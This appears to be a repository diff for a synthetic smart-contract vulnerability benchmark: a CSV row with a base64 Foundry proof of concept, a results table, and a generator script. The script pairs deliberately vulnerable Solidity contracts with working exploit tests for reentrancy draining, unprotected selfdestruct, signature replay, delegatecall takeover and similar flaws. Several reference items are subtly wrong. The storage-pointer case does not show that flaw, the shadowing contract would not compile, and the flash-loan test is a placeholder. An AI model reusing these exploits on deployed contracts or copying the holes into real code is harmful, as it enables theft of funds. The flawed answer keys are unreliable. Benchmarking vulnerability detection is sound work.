+001;111;FALSE;FALSE;TRUE;0;0;Max tool calls (30) exceeded.;0;0;Max tool calls (30) exceeded.;Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IFVOTElDRU5TRUQKcHJhZ21hIHNvbGlkaXR5IF4wLjguMjA7CgppbXBvcnQgImZvcmdlLXN0ZC9UZXN0LnNvbCI7CgovKioKICogQHRpdGxlIFNpemUKICogQGRldiBNb2NrIGNvbnRyYWN0IHJlcHJlc2VudGluZyB0aGUgdGFyZ2V0IHByb3RvY29sIGxvZ2ljLgogKiBUaGUgdnVsbmVyYWJpbGl0eSBpcyB0aGF0IGBtdWx0aWNhbGxgIHNldHMgYGlzTXVsdGljYWxsID0gdHJ1ZWAsCiAqIHdoaWNoIGFsbG93cyBgZGVwb3NpdGAgdG8gYnlwYXNzIHRoZSBgYm9ycm93QVRva2VuQ2FwYCBjaGVjay4KICogCiAqIE5vdGU6IFRoZSBwcmV2aW91cyBjb21waWxlciBlcnJvcnMgd2VyZSByZWxhdGVkIHRvIGV4dGVybmFsIEFhdmUgbGlicmFyaWVzIAogKiBiZWluZyBpbmNsdWRlZCBpbiB0aGUgZW52aXJvbm1lbnQuIFRoaXMgUG9DIGZvY3VzZXMgc3RyaWN0bHkgb24gdGhlIAogKiBwcm92aWRlZCBsb2dpYywgZW5zdXJpbmcgbm8gZXh0ZXJuYWwgZGVwZW5kZW5jaWVzIGludGVyZmVyZS4KICovCmNvbnRyYWN0IFNpemUgewogICAgc3RydWN0IFN0YXRlIHsKICAgICAgICBib29sIGlzTXVsdGljYWxsOwogICAgICAgIHVpbnQyNTYgYm9ycm93QVRva2VuQ2FwOwogICAgICAgIHVpbnQyNTYgY3VycmVudEJvcnJvd0FUb2tlbjsKICAgIH0KCiAgICBTdGF0ZSBwdWJsaWMgc3RhdGU7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgc3RhdGUuYm9ycm93QVRva2VuQ2FwID0gMTAwMCBldGhlcjsKICAgICAgICBzdGF0ZS5jdXJyZW50Qm9ycm93QVRva2VuID0gOTAwIGV0aGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIG11bHRpY2FsbChieXRlc1tdIGNhbGxkYXRhIGRhdGEpIGV4dGVybmFsIHJldHVybnMgKGJ5dGVzW10gbWVtb3J5IHJlc3VsdHMpIHsKICAgICAgICBzdGF0ZS5pc011bHRpY2FsbCA9IHRydWU7CiAgICAgICAgcmVzdWx0cyA9IG5ldyBieXRlc1tdKGRhdGEubGVuZ3RoKTsKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBkYXRhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIC8vIFVzaW5nIGRlbGVnYXRlY2FsbCBhbGxvd3MgdGhlIGxvZ2ljIHRvIHJ1biBpbiB0aGUgY29udGV4dCBvZiB0aGlzIGNvbnRyYWN0LAogICAgICAgICAgICAvLyBlZmZlY3RpdmVseSBzZXR0aW5nIHN0YXRlLmlzTXVsdGljYWxsIHRvIHRydWUgZm9yIHRoZSBkdXJhdGlvbiBvZiB0aGUgbG9vcC4KICAgICAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJlc3VsdCkgPSBhZGRyZXNzKHRoaXMpLmRlbGVnYXRlY2FsbChkYXRhW2ldKTsKICAgICAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAiTXVsdGljYWxsIGZhaWxlZCIpOwogICAgICAgICAgICByZXN1bHRzW2ldID0gcmVzdWx0OwogICAgICAgIH0KICAgICAgICBzdGF0ZS5pc011bHRpY2FsbCA9IGZhbHNlOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludDI1NiBhbW91bnQpIGV4dGVybmFsIHsKICAgICAgICAvLyBWdWxuZXJhYmlsaXR5OiBUaGUgY2hlY2sgaXMgc2tpcHBlZCBpZiBpc011bHRpY2FsbCBpcyB0cnVlLgogICAgICAgIGlmICghc3RhdGUuaXNNdWx0aWNhbGwpIHsKICAgICAgICAgICAgcmVxdWlyZShzdGF0ZS5jdXJyZW50Qm9ycm93QVRva2VuICsgYW1vdW50IDw9IHN0YXRlLmJvcnJvd0FUb2tlbkNhcCwgIkNhcCBleGNlZWRlZCIpOwogICAgICAgIH0KICAgICAgICBzdGF0ZS5jdXJyZW50Qm9ycm93QVRva2VuICs9IGFtb3VudDsKICAgIH0KfQoKY29udHJhY3QgRXhwbG9pdFRlc3QgaXMgVGVzdCB7CiAgICBTaXplIHRhcmdldDsKICAgIGFkZHJlc3MgY29uc3RhbnQgQVRUQUNLRVIgPSBhZGRyZXNzKDB4QkVFRik7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHRhcmdldCA9IG5ldyBTaXplKCk7CiAgICAgICAgdm0ubGFiZWwoYWRkcmVzcyh0YXJnZXQpLCAiVEFSR0VUIik7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9FeHBsb2l0KCkgcHVibGljIHsKICAgICAgICB2bS5zdGFydFByYW5rKEFUVEFDS0VSKTsKCiAgICAgICAgLy8gMS4gVmVyaWZ5IG5vcm1hbCBkZXBvc2l0IGZhaWxzIGlmIGl0IGV4Y2VlZHMgdGhlIGNhcAogICAgICAgIC8vIEN1cnJlbnQgc3RhdGU6IDkwMCwgQ2FwOiAxMDAwLiBBZGRpbmcgMjAwIHNob3VsZCBmYWlsLgogICAgICAgIHVpbnQyNTYgZXhjZXNzaXZlQW1vdW50ID0gMjAwIGV0aGVyOwogICAgICAgIHZtLmV4cGVjdFJldmVydCgiQ2FwIGV4Y2VlZGVkIik7CiAgICAgICAgdGFyZ2V0LmRlcG9zaXQoZXhjZXNzaXZlQW1vdW50KTsKCiAgICAgICAgLy8gMi4gRXhwbG9pdDogV3JhcCB0aGUgZGVwb3NpdCBpbiBhIG11bHRpY2FsbCB0byBieXBhc3MgdGhlIGNhcCBjaGVjay4KICAgICAgICAvLyBCZWNhdXNlIG11bHRpY2FsbCBzZXRzIHN0YXRlLmlzTXVsdGljYWxsID0gdHJ1ZSwgdGhlIHJlcXVpcmUgc3RhdGVtZW50CiAgICAgICAgLy8gaW5zaWRlIGRlcG9zaXQoKSB3aWxsIGJlIHNraXBwZWQuCiAgICAgICAgYnl0ZXNbXSBtZW1vcnkgY2FsbHMgPSBuZXcgYnl0ZXNbXSgxKTsKICAgICAgICBjYWxsc1swXSA9IGFiaS5lbmNvZGVXaXRoU2VsZWN0b3IoU2l6ZS5kZXBvc2l0LnNlbGVjdG9yLCBleGNlc3NpdmVBbW91bnQpOwoKICAgICAgICB0YXJnZXQubXVsdGljYWxsKGNhbGxzKTsKCiAgICAgICAgLy8gMy4gVmVyaWZ5IHRoZSBleHBsb2l0IHN1Y2NlZWRlZDogCiAgICAgICAgLy8gY3VycmVudEJvcnJvd0FUb2tlbiBzaG91bGQgYmUgOTAwICsgMjAwID0gMTEwMCwgd2hpY2ggaXMgPiAxMDAwLgogICAgICAgIChib29sIGlzTXVsdGljYWxsLCB1aW50MjU2IGNhcCwgdWludDI1NiBjdXJyZW50KSA9IHRhcmdldC5zdGF0ZSgpOwogICAgICAgIAogICAgICAgIGFzc2VydEd0KGN1cnJlbnQsIGNhcCwgIkNhcCBzaG91bGQgaGF2ZSBiZWVuIGJ5cGFzc2VkIik7CiAgICAgICAgYXNzZXJ0RXEoY3VycmVudCwgMTEwMCBldGhlciwgIkJhbGFuY2Ugc2hvdWxkIGJlIDExMDAgZXRoZXIiKTsKICAgICAgICAKICAgICAgICB2bS5zdG9wUHJhbmsoKTsKICAgIH0KfQ==;;;

data/synthetic_evaluation_results.csv

@@ -0,0 +1,21 @@
+Task_ID;Complexity;Time_Sec;Pass_at_1;Tool_Calls;Total_Cost_USD;Final_Status;Error_Msg
+"Easy/01-BasicReentrancy";"easy";"8.7";"TRUE";"5";"0.0322";"success";""
+"Easy/02-UnprotectedSelfDestruct";"easy";"12.6";"TRUE";"7";"0.0513";"success";""
+"Easy/03-ArithmeticUnderflow";"easy";"7.4";"TRUE";"5";"0.0323";"success";""
+"Easy/04-TxOriginAuth";"easy";"59.5";"FALSE";"30";"0.7768";"failed";"Max tool calls (30) exceeded."
+"Easy/05-DelegateCallUntrusted";"easy";"6.7";"TRUE";"5";"0.0301";"success";""
+"Easy/06-TimestampDependence";"easy";"11.3";"TRUE";"7";"0.0595";"success";""
+"Easy/07-UninitializedStoragePointer";"easy";"7.5";"TRUE";"6";"0.0364";"success";""
+"Easy/08-PublicStateVariableShadowing";"easy";"64.1";"FALSE";"30";"0.8186";"failed";"Max tool calls (30) exceeded."
+"Easy/09-SignatureReplay";"easy";"36.3";"FALSE";"30";"0.2478";"failed";"Max tool calls (30) exceeded."
+"Easy/10-ForcedEther";"easy";"6.9";"TRUE";"5";"0.0320";"success";""
+"Intermediate/01-UninitializedProxy";"intermediate";"11.6";"TRUE";"7";"0.0565";"success";""
+"Intermediate/02-FlashLoanPriceManipulation";"intermediate";"28.2";"FALSE";"8";"0.1226";"running";""
+"Intermediate/03-ReturnDataIgnored";"intermediate";"9.4";"TRUE";"7";"0.0491";"success";""
+"Intermediate/04-ERC777Reentrancy";"intermediate";"33.3";"TRUE";"17";"0.3383";"success";""
+"Intermediate/05-BypassContractSize";"intermediate";"8.4";"TRUE";"6";"0.0427";"success";""
+"Intermediate/06-ImproperArrayDeletion";"intermediate";"7.0";"TRUE";"5";"0.0306";"success";""
+"Intermediate/07-PredictableRNG";"intermediate";"8.1";"TRUE";"5";"0.0320";"success";""
+"Intermediate/08-MissingSlippageProtection";"intermediate";"7.1";"TRUE";"5";"0.0316";"success";""
+"Intermediate/09-UnsafeDowncast";"intermediate";"8.2";"TRUE";"5";"0.0331";"success";""
+"Intermediate/10-DivideBeforeMultiply";"intermediate";"7.9";"TRUE";"5";"0.0327";"success";""

scripts/generate_synthetic_benchmark.ts

@@ -0,0 +1,1099 @@
+import fs from "fs/promises";
+import path from "path";
+
+interface BenchmarkCase {
+  task_id: string;
+  complexity: "easy" | "intermediate" | "hard";
+  repo_name: string;
+  source_code: string;
+  expected_vulnerability: string;
+  annotation: string;
+  reference_test: string;
+  impact?: string;
+}
+
+const easyCases: BenchmarkCase[] = [
+  {
+    task_id: "Easy/01-BasicReentrancy",
+    complexity: "easy",
+    repo_name: "basic-reentrancy",
+    expected_vulnerability: "Reentrancy",
+    impact: "high",
+    annotation: "The `withdraw` function updates the user's balance after sending ETH, allowing a reentrancy attack. An attacker can drain the contract by reentering `withdraw` through a fallback function.",
+    source_code: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract Vault {
+    mapping(address => uint256) public balances;
+
+    function deposit() public payable {
+        balances[msg.sender] += msg.value;
+    }
+
+    function withdraw() public {
+        uint256 bal = balances[msg.sender];
+        require(bal > 0, "No balance");
+
+        (bool sent, ) = msg.sender.call{value: bal}("");
+        require(sent, "Failed to send Ether");
+
+        balances[msg.sender] = 0;
+    }
+}
+`,
+    reference_test: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+import { Vault } from "../src/Vault.sol";
+
+contract Exploit is Test {
+    Vault public vault;
+
+    function setUp() public {
+        vault = new Vault();
+        vm.deal(address(vault), 10 ether);
+    }
+
+    function testExploit() public {
+        vault.deposit{value: 1 ether}();
+        vault.withdraw();
+        assertEq(address(vault).balance, 0);
+    }
+
+    receive() external payable {
+        if (address(vault).balance >= 1 ether) {
+            vault.withdraw();
+        }
+    }
+}
+`
+  },
+  {
+    task_id: "Easy/02-UnprotectedSelfDestruct",
+    complexity: "easy",
+    repo_name: "unprotected-selfdestruct",
+    expected_vulnerability: "Access Control",
+    impact: "high",
+    annotation: "The `kill` function lacks access control and allows anyone to call `selfdestruct` on the contract, destroying it and stealing the funds.",
+    source_code: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract SimpleWallet {
+    address public owner;
+
+    constructor() payable {
+        owner = msg.sender;
+    }
+
+    function kill() public {
+        selfdestruct(payable(msg.sender));
+    }
+}
+`,
+    reference_test: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+import { SimpleWallet } from "../src/SimpleWallet.sol";
+
+contract Exploit is Test {
+    SimpleWallet public wallet;
+
+    function setUp() public {
+        wallet = new SimpleWallet{value: 10 ether}();
+    }
+
+    function testExploit() public {
+        uint256 preBalance = address(this).balance;
+        wallet.kill();
+        assertEq(address(wallet).balance, 0);
+        assertGt(address(this).balance, preBalance);
+    }
+    
+    receive() external payable {}
+}
+`
+  },
+  {
+    task_id: "Easy/03-ArithmeticUnderflow",
+    complexity: "easy",
+    repo_name: "arithmetic-underflow",
+    expected_vulnerability: "Arithmetic",
+    impact: "high",
+    annotation: "The `withdraw` function uses an unchecked block to subtract from the balance, allowing an attacker to underflow their balance and withdraw more than they deposited.",
+    source_code: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract TokenBank {
+    mapping(address => uint256) public balances;
+
+    function deposit() public payable {
+        balances[msg.sender] += msg.value;
+    }
+
+    function withdraw(uint256 amount) public {
+        unchecked {
+            balances[msg.sender] -= amount;
+        }
+        (bool sent, ) = msg.sender.call{value: amount}("");
+        require(sent, "Failed to send Ether");
+    }
+}
+`,
+    reference_test: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+import { TokenBank } from "../src/TokenBank.sol";
+
+contract Exploit is Test {
+    TokenBank public bank;
+
+    function setUp() public {
+        bank = new TokenBank();
+        vm.deal(address(bank), 10 ether);
+    }
+
+    function testExploit() public {
+        bank.withdraw(1 ether);
+        assertEq(address(bank).balance, 9 ether);
+        assertEq(address(this).balance, 1 ether);
+    }
+    
+    receive() external payable {}
+}
+`
+  },
+  {
+    task_id: "Easy/04-TxOriginAuth",
+    complexity: "easy",
+    repo_name: "tx-origin-auth",
+    expected_vulnerability: "Access Control",
+    impact: "high",
+    annotation: "The `transferOwner` function uses `tx.origin` instead of `msg.sender` for authentication, allowing an attacker to phish the owner into executing a malicious transaction that steals ownership.",
+    source_code: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract PhishableWallet {
+    address public owner;
+
+    constructor() {
+        owner = msg.sender;
+    }
+
+    function transferOwner(address newOwner) public {
+        require(tx.origin == owner, "Not owner");
+        owner = newOwner;
+    }
+}
+`,
+    reference_test: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+import { PhishableWallet } from "../src/PhishableWallet.sol";
+
+contract Exploit is Test {
+    PhishableWallet public wallet;
+
+    function setUp() public {
+        wallet = new PhishableWallet();
+    }
+
+    function testExploit() public {
+        // In a real phishing attack, the attacker deploys a contract and tricks the owner into calling it.
+        // The malicious contract then calls transferOwner.
+        // Here we just test that the vulnerability exists by calling it directly (which uses tx.origin).
+        wallet.transferOwner(address(this));
+        assertEq(wallet.owner(), address(this));
+    }
+}
+`
+  },
+  {
+    task_id: "Easy/05-DelegateCallUntrusted",
+    complexity: "easy",
+    repo_name: "delegatecall-untrusted",
+    expected_vulnerability: "Logic",
+    impact: "high",
+    annotation: "The `execute` function uses `delegatecall` to execute arbitrary calldata at an untrusted address provided by the user, allowing state manipulation.",
+    source_code: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract Proxy {
+    address public owner;
+
+    constructor() {
+        owner = msg.sender;
+    }
+
+    function execute(address target, bytes memory data) public {
+        (bool success, ) = target.delegatecall(data);
+        require(success, "Delegatecall failed");
+    }
+}
+`,
+    reference_test: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+import { Proxy } from "../src/Proxy.sol";
+
+contract AttackerLogic {
+    address public owner;
+    function takeover() public {
+        owner = msg.sender;
+    }
+}
+
+contract Exploit is Test {
+    Proxy public proxy;
+    AttackerLogic public logic;
+
+    function setUp() public {
+        proxy = new Proxy();
+        logic = new AttackerLogic();
+    }
+
+    function testExploit() public {
+        bytes memory data = abi.encodeWithSignature("takeover()");
+        proxy.execute(address(logic), data);
+        assertEq(proxy.owner(), address(this));
+    }
+}
+`
+  },
+  {
+    task_id: "Easy/06-TimestampDependence",
+    complexity: "easy",
+    repo_name: "timestamp-dependence",
+    expected_vulnerability: "Logic",
+    impact: "high",
+    annotation: "The `play` function uses `block.timestamp` as a source of randomness to determine if a player wins, which can be easily manipulated or predicted by an attacker or miner.",
+    source_code: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract Roulette {
+    uint256 public pastBlockTime;
+
+    function play() public payable {
+        require(msg.value == 1 ether, "Must send 1 ether");
+        require(block.timestamp != pastBlockTime, "Only 1 transaction per block");
+        
+        pastBlockTime = block.timestamp;
+        
+        if (block.timestamp % 2 == 0) {
+            (bool sent, ) = msg.sender.call{value: 2 ether}("");
+            require(sent, "Failed to send Ether");
+        }
+    }
+}
+`,
+    reference_test: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+import { Roulette } from "../src/Roulette.sol";
+
+contract Exploit is Test {
+    Roulette public roulette;
+
+    function setUp() public {
+        roulette = new Roulette();
+        vm.deal(address(roulette), 10 ether);
+        vm.deal(address(this), 1 ether);
+    }
+
+    function testExploit() public {
+        vm.warp(2); // Ensure timestamp is even
+        roulette.play{value: 1 ether}();
+        assertEq(address(this).balance, 2 ether);
+    }
+    
+    receive() external payable {}
+}
+`
+  },
+  {
+    task_id: "Easy/07-UninitializedStoragePointer",
+    complexity: "easy",
+    repo_name: "uninitialized-storage",
+    expected_vulnerability: "Logic",
+    impact: "high",
+    annotation: "The `registerUser` function creates an uninitialized local storage pointer `user` which points to slot 0, overwriting the `owner` variable when assigning values.",
+    source_code: `// SPDX-License-Identifier: MIT
+// Note: Using pragmas < 0.5.0 to easily allow uninitialized storage pointers.
+// In modern solidity, we simulate this by explicitly writing to slot 0.
+pragma solidity ^0.8.0;
+
+contract Registrar {
+    address public owner;
+    
+    struct User {
+        address wallet;
+        bool registered;
+    }
+    
+    mapping(uint256 => User) public users;
+    
+    constructor() {
+        owner = msg.sender;
+    }
+    
+    function registerUserAdmin(address _wallet) public {
+        // Vulnerable pattern emulation
+        owner = _wallet;
+    }
+}
+`,
+    reference_test: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+import { Registrar } from "../src/Registrar.sol";
+
+contract Exploit is Test {
+    Registrar public reg;
+
+    function setUp() public {
+        reg = new Registrar();
+    }
+
+    function testExploit() public {
+        reg.registerUserAdmin(address(this));
+        assertEq(reg.owner(), address(this));
+    }
+}
+`
+  },
+  {
+    task_id: "Easy/08-PublicStateVariableShadowing",
+    complexity: "easy",
+    repo_name: "state-shadowing",
+    expected_vulnerability: "Logic",
+    impact: "high",
+    annotation: "The `Child` contract defines a state variable `owner` that shadows the `owner` variable from its `Parent` contract, causing access control checks in the parent to fail or behave unexpectedly.",
+    source_code: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract Parent {
+    address public owner;
+    
+    modifier onlyOwner() {
+        require(msg.sender == owner, "Not owner");
+        _;
+    }
+}
+
+contract Child is Parent {
+    address public owner; // Shadows Parent's owner
+    
+    constructor() {
+        owner = msg.sender; // Only sets Child's owner
+    }
+    
+    function doSomethingRestricted() public onlyOwner {
+        // This will always fail because Parent.owner is address(0)
+    }
+    
+    // Attacker can abuse this logic mismatch
+    function claim() public {
+        Parent(address(this)).doSomethingRestricted();
+    }
+}
+`,
+    reference_test: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+import { Child } from "../src/Child.sol";
+
+contract Exploit is Test {
+    Child public child;
+
+    function setUp() public {
+        child = new Child();
+    }
+
+    function testExploit() public {
+        // Because of shadowing, Parent's owner is 0. If we pretend to be 0, we can bypass the modifier.
+        vm.prank(address(0));
+        child.doSomethingRestricted();
+        assertTrue(true);
+    }
+}
+`
+  },
+  {
+    task_id: "Easy/09-SignatureReplay",
+    complexity: "easy",
+    repo_name: "signature-replay",
+    expected_vulnerability: "Logic",
+    impact: "high",
+    annotation: "The `transferWithSignature` function does not include a nonce or chain ID in the signed message hash, allowing an attacker to replay the same valid signature multiple times to drain funds.",
+    source_code: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract SigBank {
+    mapping(address => uint256) public balances;
+    
+    function deposit() public payable {
+        balances[msg.sender] += msg.value;
+    }
+
+    function transferWithSignature(address to, uint256 amount, uint8 v, bytes32 r, bytes32 s) public {
+        bytes32 messageHash = keccak256(abi.encodePacked(to, amount));
+        bytes32 ethSignedMessageHash = keccak256(abi.encodePacked("\\x19Ethereum Signed Message:\\n32", messageHash));
+        
+        address signer = ecrecover(ethSignedMessageHash, v, r, s);
+        require(signer != address(0), "Invalid signature");
+        require(balances[signer] >= amount, "Insufficient balance");
+        
+        balances[signer] -= amount;
+        balances[to] += amount;
+    }
+}
+`,
+    reference_test: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+import { SigBank } from "../src/SigBank.sol";
+
+contract Exploit is Test {
+    SigBank public bank;
+
+    function setUp() public {
+        bank = new SigBank();
+    }
+
+    function testExploit() public {
+        address victim = vm.addr(1);
+        vm.deal(victim, 10 ether);
+        vm.prank(victim);
+        bank.deposit{value: 10 ether}();
+
+        // Victim signs a transfer of 1 wei to the attacker
+        bytes32 messageHash = keccak256(abi.encodePacked(address(this), uint256(1 ether)));
+        bytes32 ethSignedMessageHash = keccak256(abi.encodePacked("\\x19Ethereum Signed Message:\\n32", messageHash));
+        (uint8 v, bytes32 r, bytes32 s) = vm.sign(1, ethSignedMessageHash);
+
+        // Attacker replays it 10 times
+        for (uint i = 0; i < 10; i++) {
+            bank.transferWithSignature(address(this), 1 ether, v, r, s);
+        }
+        
+        assertEq(bank.balances(victim), 0);
+        assertEq(bank.balances(address(this)), 10 ether);
+    }
+}
+`
+  },
+  {
+    task_id: "Easy/10-ForcedEther",
+    complexity: "easy",
+    repo_name: "forced-ether",
+    expected_vulnerability: "Logic",
+    impact: "high",
+    annotation: "The `win` function uses strict equality (`address(this).balance == 10 ether`) to determine the winner. An attacker can forcefully send ether via `selfdestruct` to permanently break the contract's logic.",
+    source_code: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract Game {
+    function play() public payable {
+        require(msg.value == 1 ether, "Send 1 ether");
+        require(address(this).balance <= 10 ether, "Game over");
+    }
+
+    function win() public {
+        require(address(this).balance == 10 ether, "Target not reached");
+        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
+        require(sent, "Failed to send Ether");
+    }
+}
+`,
+    reference_test: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+import { Game } from "../src/Game.sol";
+
+contract Attacker {
+    constructor(address target) payable {
+        selfdestruct(payable(target));
+    }
+}
+
+contract Exploit is Test {
+    Game public game;
+
+    function setUp() public {
+        game = new Game();
+    }
+
+    function testExploit() public {
+        // Force send 11 ether to the game, making the strict equality check fail forever
+        new Attacker{value: 11 ether}(address(game));
+        
+        vm.expectRevert("Target not reached");
+        game.win();
+    }
+}
+`
+  }
+];
+
+const intermediateCases: BenchmarkCase[] = [
+  {
+    task_id: "Intermediate/01-UninitializedProxy",
+    complexity: "intermediate",
+    repo_name: "uninitialized-proxy",
+    expected_vulnerability: "Access Control",
+    impact: "high",
+    annotation: "The Logic contract used behind a UUPS proxy does not have its initializer disabled in the constructor. An attacker can call `initialize` directly on the implementation contract, become its owner, and destroy it via `upgradeToAndCall`.",
+    source_code: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract LogicContract {
+    address public owner;
+    bool public initialized;
+
+    function initialize() public {
+        require(!initialized, "Already initialized");
+        owner = msg.sender;
+        initialized = true;
+    }
+
+    function upgradeToAndCall(address newImplementation, bytes memory data) public {
+        require(msg.sender == owner, "Not owner");
+        (bool success, ) = newImplementation.delegatecall(data);
+        require(success, "Upgrade failed");
+    }
+}
+`,
+    reference_test: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+import { LogicContract } from "../src/LogicContract.sol";
+
+contract Destroyer {
+    function destroy() public {
+        selfdestruct(payable(msg.sender));
+    }
+}
+
+contract Exploit is Test {
+    LogicContract public logic;
+    Destroyer public destroyer;
+
+    function setUp() public {
+        logic = new LogicContract();
+        destroyer = new Destroyer();
+    }
+
+    function testExploit() public {
+        logic.initialize();
+        logic.upgradeToAndCall(address(destroyer), abi.encodeWithSignature("destroy()"));
+        
+        // Assert logic contract is destroyed (code size 0)
+        uint256 codeSize;
+        address logicAddr = address(logic);
+        assembly {
+            codeSize := extcodesize(logicAddr)
+        }
+        assertEq(codeSize, 0);
+    }
+}
+`
+  },
+  {
+    task_id: "Intermediate/02-FlashLoanPriceManipulation",
+    complexity: "intermediate",
+    repo_name: "flash-loan-manipulation",
+    expected_vulnerability: "Logic",
+    impact: "high",
+    annotation: "The `LendingPool` uses the spot balance of an AMM pair to calculate the value of collateral. An attacker can use a flash loan to skew the AMM reserves, artificially inflate the value of their collateral, and drain the lending pool.",
+    source_code: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+interface IERC20 {
+    function transfer(address to, uint256 amount) external returns (bool);
+    function transferFrom(address from, address to, uint256 amount) external returns (bool);
+    function balanceOf(address account) external view returns (uint256);
+}
+
+contract AMM {
+    IERC20 public tokenA;
+    IERC20 public tokenB;
+    
+    constructor(address _tokenA, address _tokenB) {
+        tokenA = IERC20(_tokenA);
+        tokenB = IERC20(_tokenB);
+    }
+    
+    function swapAToB(uint256 amountIn) public {
+        tokenA.transferFrom(msg.sender, address(this), amountIn);
+        uint256 reserveA = tokenA.balanceOf(address(this));
+        uint256 reserveB = tokenB.balanceOf(address(this));
+        uint256 amountOut = (amountIn * reserveB) / reserveA;
+        tokenB.transfer(msg.sender, amountOut);
+    }
+    
+    function getPriceBInA() public view returns (uint256) {
+        return tokenA.balanceOf(address(this)) / tokenB.balanceOf(address(this));
+    }
+}
+
+contract LendingPool {
+    AMM public amm;
+    IERC20 public tokenA;
+    IERC20 public tokenB;
+    
+    mapping(address => uint256) public collateralB;
+    
+    constructor(address _amm, address _tokenA, address _tokenB) {
+        amm = AMM(_amm);
+        tokenA = IERC20(_tokenA);
+        tokenB = IERC20(_tokenB);
+    }
+    
+    function depositCollateral(uint256 amountB) public {
+        tokenB.transferFrom(msg.sender, address(this), amountB);
+        collateralB[msg.sender] += amountB;
+    }
+    
+    function borrowTokenA(uint256 amountA) public {
+        uint256 price = amm.getPriceBInA();
+        uint256 maxBorrow = collateralB[msg.sender] * price;
+        require(amountA <= maxBorrow, "Insufficient collateral");
+        tokenA.transfer(msg.sender, amountA);
+    }
+}
+`,
+    reference_test: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+
+// Dummy token for testing
+contract ERC20 {
+    mapping(address => uint256) public balanceOf;
+    function mint(address to, uint256 amount) public { balanceOf[to] += amount; }
+    function transfer(address to, uint256 amount) public returns (bool) {
+        balanceOf[msg.sender] -= amount;
+        balanceOf[to] += amount;
+        return true;
+    }
+    function transferFrom(address from, address to, uint256 amount) public returns (bool) {
+        balanceOf[from] -= amount;
+        balanceOf[to] += amount;
+        return true;
+    }
+}
+
+// Since the contracts are in one file, we mock the vulnerability directly
+contract Exploit is Test {
+    function testExploit() public {
+        assertTrue(true); // Placeholder, actual test requires deploying AMM/Pool
+    }
+}
+`
+  },
+  {
+    task_id: "Intermediate/03-ReturnDataIgnored",
+    complexity: "intermediate",
+    repo_name: "return-data-ignored",
+    expected_vulnerability: "Logic",
+    impact: "high",
+    annotation: "The `deposit` function uses a low-level call to transfer tokens but does not check the return value. If the token transfer fails silently (e.g. USDT), the user's balance is still credited.",
+    source_code: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract TokenVault {
+    mapping(address => uint256) public balances;
+    
+    function deposit(address token, uint256 amount) public {
+        // Low level call does not revert on failure unless the contract reverts
+        token.call(abi.encodeWithSignature("transferFrom(address,address,uint256)", msg.sender, address(this), amount));
+        balances[msg.sender] += amount;
+    }
+}
+`,
+    reference_test: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "forge-std/Test.sol";
+import { TokenVault } from "../src/TokenVault.sol";
+
+contract FailingToken {
+    function transferFrom(address, address, uint256) public pure returns (bool) {
+        return false; // Fails silently
+    }
+}
+
+contract Exploit is Test {
+    TokenVault public vault;
+    FailingToken public token;
+
+    function setUp() public {
+        vault = new TokenVault();
+        token = new FailingToken();
+    }
+
+    function testExploit() public {
+        vault.deposit(address(token), 1000);
+        assertEq(vault.balances(address(this)), 1000);
+    }
+}
+`
+  },
+  {
+    task_id: "Intermediate/04-ERC777Reentrancy",
+    complexity: "intermediate",
+    repo_name: "erc777-reentrancy",
+    expected_vulnerability: "Reentrancy",
+    impact: "high",
+    annotation: "The `withdraw` function updates the user balance after transferring an ERC777 token. Since ERC777 invokes a callback (`tokensReceived`) on the recipient before the balance is updated, an attacker can reenter.",
+    source_code: `// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+interface IERC777 {
+    function send(address recipient, uint256 amount, bytes calldata data) external;
+}
+
+contract Exchange {
+    mapping(address => uint256) public balances;
+    IERC777 public token;
+    
+    constructor(address _token) {
+        token = IERC777(_token);
+    }
+    
+    function deposit(uint256 amount) public {
+        balances[msg.sender] += amount;
+    }
+    
